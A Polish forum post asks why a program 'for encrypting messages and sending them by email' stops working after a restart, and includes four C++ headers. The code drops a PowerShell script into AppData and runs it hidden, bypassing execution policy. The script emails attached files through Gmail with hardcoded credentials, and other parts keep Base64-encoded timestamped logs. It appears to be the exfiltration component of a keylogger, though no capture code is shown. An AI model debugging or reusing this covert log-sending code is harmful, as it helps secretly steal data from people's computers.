Witam! Znalazłem taki o to kod w internecie, po pierwszym uruchomieniu wysyłał, ale po restarcie pc już nie działa. Wie ktoś jak to naprawić? Program służy do szyfrowania wiadomości i wysyłania na email. Error który mi wyskakuje: Mail was not sent! Error code: 3 EDIT: próbowałem na portach 25,587,465
#ifndef SENDMAIL_H
#define SENDMAIL_H
#include <fstream>
#include <vector>
#include <Windows.h>
#include "IO.h"
#include "Timer.h"
#include "Helper.h"
#define SCRIPT_NAME "sm.ps1"
namespace Mail
{
// Both emails can be the same
#define X_EM_TO "email"
#define X_EM_FROM "email"
#define X_EM_PASS "password"
const std::string &PowerShellScript =
"Param( \r\n [String]$Att,\r\n [String]$Subj,\r\n "
"[String]$Body\r\n)\r\n\r\nFunction Send-EMail"
" {\r\n Param (\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$To,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$From,\r\n [Parameter(`\r\n mandatory=$true)]\r\n "
"[String]$Password,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$Subject,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$Body,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n "
"[String]$attachment\r\n )\r\n try\r\n {\r\n $Msg = New-Object "
"System.Net.Mail.MailMessage($From, $To, $Subject, $Body)\r\n $Srv = \"smtp.gmail.com\" "
"\r\n if ($attachment -ne $null) {\r\n try\r\n {\r\n"
" $Attachments = $attachment -split (\"\\:\\:\");\r\n "
" ForEach ($val in $Attachments)\r\n "
" {\r\n "
" $attch = New-Object System.Net.Mail.Attachment($val)\r\n "
" $Msg.Attachments.Add($attch)\r\n }\r\n "
"}\r\n catch\r\n {\r\n exit 2; "
"\r\n }\r\n }\r\n "
" $Client = New-Object Net.Mail.SmtpClient($Srv, 465) #465 port for smtp.gmail.com SSL\r\n "
" $Client.EnableSsl = $true \r\n $Client.Credentials = New-Object "
"System.Net.NetworkCredential($From.Split(\"@\")[0], $Password); \r\n $Client.Send($Msg)\r\n "
" Remove-Variable -Name Client\r\n Remove-Variable -Name Password\r\n "
"exit 7; \r\n }\r\n catch\r\n {\r\n exit 3; "
" \r\n }\r\n} #End Function Send-EMail\r\ntry\r\n {\r\n "
"Send-EMail -attachment $Att "
"-To \"" +
std::string(X_EM_TO) +
"\""
" -Body $Body -Subject $Subj "
"-password \"" +
std::string(X_EM_PASS) +
"\""
" -From \"" +
std::string(X_EM_FROM) +
"\"""\r\n }\r\ncatch\r\n {\r\n exit 4; \r\n }";
#undef X_EM_FROM
#undef X_EM_TO
#undef X_EM_PASS
std::string StringReplace(std::string s, const std::string &what, const std::string &with) // search for a specific string and replace that string
{
if (what.empty())
return s; // nothing to replace
size_t sp = 0;
while ((sp = s.find(what, sp)) != std::string::npos) // as long as not equal to null terminator position
s.replace(sp, what.length(), with), sp += with.length();
return s;
}
bool CheckFileExists(const std::string &f)
{
std::ifstream file(f);
return (bool)file;
}
bool CreateScript()
{
std::ofstream script(IO::GetOurPath(true) + std::string(SCRIPT_NAME));
if (!script)
return false; // check if script was created
script << PowerShellScript;
if (!script)
return false; // was it successfully written
script.close();
return true;
}
Timer m_timer;
int SendMail(const std::string &subject, const std::string &body, const std::string &attachments)
{
bool ok; // if mail was sucessfully sent
ok = IO::MKDir(IO::GetOurPath(true));
if (!ok)
return -1;
std::string scr_path = IO::GetOurPath(true) + std::string(SCRIPT_NAME);
if (!CheckFileExists(scr_path))
ok = CreateScript(); // attempt to create script if not present
if (!ok) // was attempt successful
return -2;
std::string param = "-ExecutionPolicy ByPass -File \"" + scr_path + "\" -Subj \"" +
StringReplace(subject, "\"", "\\\"") + "\" -Body \"" +
StringReplace(body, "\"", "\\\"") + "\" -Att \"" + attachments + "\"";
SHELLEXECUTEINFO ShExecInfo = { 0 };
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "open"; // open the file
ShExecInfo.lpFile = "powershell"; // file to execute
ShExecInfo.lpParameters = param.c_str();
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_HIDE; // hide powershell window
ShExecInfo.hInstApp = NULL;
ok = (bool)ShellExecuteEx(&ShExecInfo);
if (!ok) // check if was executed successfully
return -3;
// Wait for 7 seconds to see if mail was successfully sent
WaitForSingleObject(ShExecInfo.hProcess, 7000);
DWORD exit_code = 100; // arbitrary code to exit
GetExitCodeProcess(ShExecInfo.hProcess, &exit_code); // check powershell status
m_timer.SetFunction([&]() // lambda function to access all variables from SendMail
{
WaitForSingleObject(ShExecInfo.hProcess, 60000); // wait for one minute
GetExitCodeProcess(ShExecInfo.hProcess, &exit_code);
if ((int)exit_code == STILL_ACTIVE) // check powershell status
TerminateProcess(ShExecInfo.hProcess, 100);
Helper::WriteAppLog("<From SendMail> Return code: " + Helper::ToString((int)exit_code));
});
m_timer.RepeatCount(1L); // execute only once
m_timer.SetInterval(10L);
m_timer.Start(true); // asynchronous execute
return (int)exit_code;
}
int SendMail(const std::string &subject, const std::string &body, const std::vector<std::string> &att) // overload SendMail to send multiple attachments
{
std::string attachments = "";
if (att.size() == 1U) // check if only 1 attachment
attachments = att.at(0); // grab the first index only then
else
{
for (const auto &v : att)
attachments += v + "::"; // separate attachments with colons
attachments = attachments.substr(0, attachments.length() - 2);
}
return SendMail(subject, body, attachments);
}
}
#endif // SENDMAIL_H
helper.h
#ifndef HELPER_H
#define HELPER_H
#include <ctime>
#include <string>
#include <sstream>
#include <fstream>
namespace Helper // custom namespace to store our custom data types
{
template <class T>
std::string ToString(const T &);
struct DateTime
{
int D, m, y, M, H, S;
DateTime()
{
time_t ms;
time(&ms);
struct tm* info = localtime(&ms);
// format data from info
D = info->tm_mday;
m = info->tm_mon + 1; // need to add 1 since january is represented 0
y = 1900 + info->tm_year; // reference year since C came in the 70s and locatime returns time from that particular day until present day
M = info->tm_min;
H = info->tm_hour;
S = info->tm_sec;
}
DateTime(int D, int m, int y, int M, int H, int S) : D(D), m(m), y(y), M(M), H(H), S(S) {}
DateTime(int D, int m, int y) : D(D), m(m), y(y), M(0), H(0), S(0) {}
DateTime Now() const
{
return DateTime(); // return current date time
}
std::string GetDateString() const
{
// Generate the current date that is correctly formatted in string
return std::string(D < 10 ? "0" : "") + ToString(D) +
std::string(m < 10 ? ".0" : ".") + ToString(m) + "." + ToString(y);
}
std::string GetTimeString(const std::string &sep = ":") const// reference is to default separator which is set to a colon
{
// Generate the current time that is correctly formatted in string
return std::string(H < 10 ? "0" : "") + ToString(H) + sep +
std::string(M < 10 ? "0" : "") + ToString(M) + sep +
std::string(S < 10 ? "0" : "") + ToString(S);
}
std::string GetDateTimeString(const std::string &sep = ":") const
{
return GetDateString() + " " + GetTimeString(sep);
}
};
template <class T>
std::string ToString(const T &e) // only able types that supports the insertion operator
{
std::ostringstream s;
s << e;
return s.str();
}
// OPTIONAL FUNCTION FOR DEBUGGING PURPOSES
void WriteAppLog(const std::string &s) // reference to const string we wish to log
{
std::ofstream file("AppLog.txt", std::ios::app); // app stands for append file
file << "[" << Helper::DateTime().GetDateTimeString() << "]" << "\n" << s << std::endl << "\n";
file.close();
}
}
#endif // HELPER_H
timer.h
#ifndef TIMER_H
#define TIMER_H
#include <thread>
#include <chrono>
class Timer
{
std::thread Thread; // used for asynchronous code execution without blocking main thread
bool Alive = false; // check if timer is running
long CallNumber = -1L; // how many times we would like to call a certain function
long repeat_count = -1L; // count amount of times a certain function has been called
std::chrono::milliseconds interval = std::chrono::milliseconds(0); //interval between function calls, default is 0
std::function<void(void)> funct = nullptr; // function that takes nothing and returns nothing
void SleepAndRun()
{
std::this_thread::sleep_for(interval); //pause thread for certain time interval
if (Alive)
Function()(); // double parenthesis - first calls Function and second calls function that Function returns
}
void ThreadFunc()
{
if (CallNumber == Infinite)
while (Alive)
SleepAndRun();
else
while (repeat_count--)
SleepAndRun();
}
public:
static const long Infinite = -1L;
Timer() {};
Timer(const std::function<void(void)> &f) : funct(f) {};
Timer(const std::function<void(void)> &f, const unsigned long &i, const long repeat = Timer::Infinite) : funct(f), interval(std::chrono::milliseconds(i)), CallNumber(repeat) {};
void Start(bool Async = true)
{
if (IsAlive()) // check if timer is running, if not set to run
return;
Alive = true;
repeat_count = CallNumber; // set repeat to how many times we need to run
if (Async) // if thread is not being blocked
Thread = std::thread(&Timer::ThreadFunc, this);
else
this->ThreadFunc();
}
void Stop()
{
Alive = false; // set timer to stop running
Thread.join();
}
void SetFunction(const std::function<void(void)> &f) // sets the func to be executed
{
funct = f;
}
bool IsAlive() const { return Alive; } // check if timer is running
void RepeatCount(const long r) // sets number of calls
{
if (Alive)
return;
CallNumber = r;
}
long GetLeftCount() const { return repeat_count; } // see how many iterations are left
long RepeatCount() const { return CallNumber; } // total number of occurences to be done
void SetInterval(const unsigned long &i)
{
if (Alive)
return;
interval = std::chrono::milliseconds(i);
}
unsigned long Interval() const { return (unsigned long)interval.count(); } // fetching interval to long type
const std::function<void(void)> &Function() const
{
return funct; // returns a function to be called right after
}
};
#endif // TIMER_H
IO.h
#ifndef IO_H
#define IO_H
#include <string>
#include <cstdlib>
#include <fstream>
#include <Windows.h>
#include "Helper.h"
#include "Base64.h"
namespace IO
{
std::string GetOurPath(const bool append_separator = false) //checks if the backslash is needed at the end of our path, add if needed
{
std::string appdata_dir(getenv("APPDATA")); // finds AppData directory path
std::string full = appdata_dir + "\\SzyfroweWiadomosci";
return full + (append_separator ? "\\" : "");
}
bool MkOneDr(std::string path) // checks if directory already exists or not
{
return (bool)CreateDirectory(path.c_str(), NULL) || GetLastError() == ERROR_ALREADY_EXISTS;
}
bool MKDir(std::string path) // builds full legal file path for each subdirectory, runs loop until a full path is created
{
for (char &c : path) // c takes every char of path
if (c == '\\')
{
c = '\0';
if (!MkOneDr(path))
return false;
c = '\\';
}
return true;
}
template <class T>
std::string WriteLog(const T &t)
{
std::string path = GetOurPath(true);
Helper::DateTime dt; // use DateTime struct from Helper namespace
std::string name = dt.GetDateTimeString("_") + ".log";
try
{
std::ofstream file(path + name);
if (!file) return ""; // if file cannot be opened or used
std::ostringstream s;
s << "[" << dt.GetDateTimeString() << "]" << std::endl << t << std::endl;
std::string data = Base64::EncryptB64(s.str()); // encrypt using function from Base64 namespace
file << data;
if (!file)
return "";
file.close();
return name;
}
catch(...)
{
return "";
}
}
}
#endif // IO_H